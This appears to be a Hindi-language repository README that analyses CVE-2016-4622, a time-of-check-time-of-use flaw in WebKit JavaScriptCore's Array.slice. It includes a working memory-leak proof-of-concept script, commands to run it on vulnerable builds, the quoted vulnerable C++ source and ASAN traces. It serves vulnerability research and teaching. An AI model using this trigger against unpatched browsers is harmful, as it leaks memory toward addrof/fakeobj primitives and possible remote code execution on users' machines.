
CVE-2016-4622 का गहन विश्लेषण और शोषण वॉकथ्रू, Array.slice TOCTOU दौड़ की स्थिति के माध्यम से WebKit JavaScriptCore मेमोरी प्रकटीकरण भेद्यता, PoC कोड और डिबगिंग सेटअप के साथ।
वेबकिट जावास्क्रिप्ट कोर भेद्यता का व्यापक विश्लेषण और शोषण जो Array.slice हेरफेर के माध्यम से मेमोरी रिसाव को सक्षम बनाता है
इस रिपॉजिटरी में CVE-2016-4622 का व्यापक विश्लेषण शामिल है, जो वेबकिट के जावास्क्रिप्ट कोर इंजन में एक गंभीर मेमोरी रिसाव भेद्यता है। यह भेद्यता Array.slice() कार्यान्वयन में रेस कंडीशन से उत्पन्न होती है, जिसका उपयोग आसन्न मेमोरी सामग्री को लीक करने के लिए किया जा सकता है, और यह addrof और fakeobj जैसे अधिक परिष्कृत शोषण प्रिमिटिव के लिए आधार का काम करती है।
प्रभाव: मेमोरी रिसाव जो संभावित रिमोट कोड निष्पादन की ओर ले जाता है
प्रभावित घटक: वेबकिट जावास्क्रिप्ट कोर (JSC)
मूल कारण: fastSlice कार्यान्वयन में टाइम-ऑफ-चेक-टाइम-ऑफ-यूज़ (TOCTOU) भेद्यता
यह भेद्यता Array.slice() विधि के लिए वेबकिट के अनुकूलित "फास्ट पाथ" में मौजूद है। स्लाइस पैरामीटर संसाधित करते समय, इंजन ऑब्जेक्ट तर्कों को उनकी valueOf() विधि को कॉल करके प्रिमिटिव मानों में परिवर्तित करता है। यह रूपांतरण स्लाइस ऑपरेशन पैरामीटर निर्धारित करने के बाद लेकिन वास्तविक मेमोरी कॉपी ऑपरेशन से पहले होता है।
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print(b);
क्या होता है:
a, 100 तत्वों के साथ बनाई जाती हैvalueOf() कॉल किया जाता हैvalueOf() सरणी की लंबाई घटाकर 0 कर देता हैmemcpy एक खाली सरणी से 10 तत्वों की प्रतिलिपि बनाने का प्रयास करता हैWebKit-CVE-2016-4622/
├── Saelo-Exploit-CVE-2016-4622/ # Reference implementation by Saelo
├── Exploit/ # Custom exploitation attempts
│ ├── poc-memleak.js # Memory leak proof-of-concept
│ └── slice_over_array.js # Educational examples
├── WebKit-SRC-CVE-2016-4622/ # Vulnerable source code (commit 320b1fc)
├── WebKit-Bins/ # Compiled binaries for testing
│ ├── Debug/ # Debug build with symbols
│ └── ASAN/ # AddressSanitizer enabled build
└── Screenshoots/ # Visual documentation
बाइनरीज़: VMWare OSX 10.11 पर XCode 7.3.2 के साथ निर्मित पूर्व-संकलित JSC बाइनरीज़ आर्किटेक्चर: x86_64 Mach-O निष्पादन योग्य डीबग सुविधाएँ: व्यापक विश्लेषण के लिए सिंबल + AddressSanitizer
cd WebKit-Bins/Debug
export DYLD_FRAMEWORK_PATH=$(pwd)
./jsc ../../Exploit/poc-memleak.js
# Expected output showing memory leak:
# 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
Array.slice(begin, end) विधि किसी सरणी के एक हिस्से की शैलो कॉपी बनाती है। सामान्य परिस्थितियों में:
var array = ['a', 'b', 'c', 'd'];
var subset = array.slice(1, 3); // Returns ['b', 'c']
मुख्य अंतर्दृष्टि: end पैरामीटर valueOf() के माध्यम से टाइप रूपांतरण से गुजरता है, जो शोषण के लिए एक अवसर पैदा करता है।
जब भेद्यता सक्रिय होती है, AddressSanitizer इस कॉल प्रवाह को पकड़ता है:
#0 memcpy-param-overlap detected
#1 JSC::JSArray::fastSlice()
#2 JSC::arrayProtoFuncSlice()
#3 JavaScript execution context

arrayProtoFuncSlice() - प्रवेश बिंदुस्थान: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:848-887
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
unsigned length = getLength(exec, thisObj); // Initial length: 100
// Critical: Parameter conversion happens here
unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
// Fast path determination
std::pair<SpeciesConstructResult, JSObject*> speciesResult =
speciesConstructArray(exec, thisObj, end - begin);
if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
// Vulnerability triggers here
if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
return JSValue::encode(result);
}
// ... fallback implementation
}
argumentClampedIndexFromStartOrEnd() - रूपांतरण ट्रिगरस्थान: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:224-236
static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
JSValue value = exec->argument(argument);
if (value.isUndefined())
return undefinedValue;
// CRITICAL: This is where valueOf() gets called
double indexDouble = value.toInteger(exec);
if (indexDouble < 0) {
indexDouble += length;
return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
}
return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}
रेस कंडीशन:
{valueOf: function() { a.length = 0; return 10; }} को संसाधित करते समयvalue.toInteger(exec) हमारे दुर्भावनापूर्ण valueOf() को कॉल करता हैfastSlice() - जहाँ मेमोरी क्षति होती हैस्थान: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/JSArray.cpp:692-720
JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
auto arrayType = indexingType();
switch (arrayType) {
case ArrayWithDouble:
case ArrayWithInt32:
case ArrayWithContiguous: {
// ... setup code ...
auto& resultButterfly = *resultArray->butterfly();
if (arrayType == ArrayWithDouble)
// VULNERABILITY: Reads beyond array bounds
memcpy(resultButterfly.contiguousDouble().data(),
m_butterfly.get()->contiguousDouble().data() + startIndex,
sizeof(JSValue) * count);
// ...
}
}
मेमोरी क्षति:
startIndex = 0, count = 10valueOf() द्वारा संशोधित)memcpy इंडेक्स 0 से शुरू होकर 10 JSValues पढ़ता हैसेटअप चरण
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
ट्रिगर चरण
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
शोषण चरण
valueOf() को कॉल करता हैfastSlice खाली सरणी से 10 तत्वों की प्रतिलिपि करने का प्रयास करता है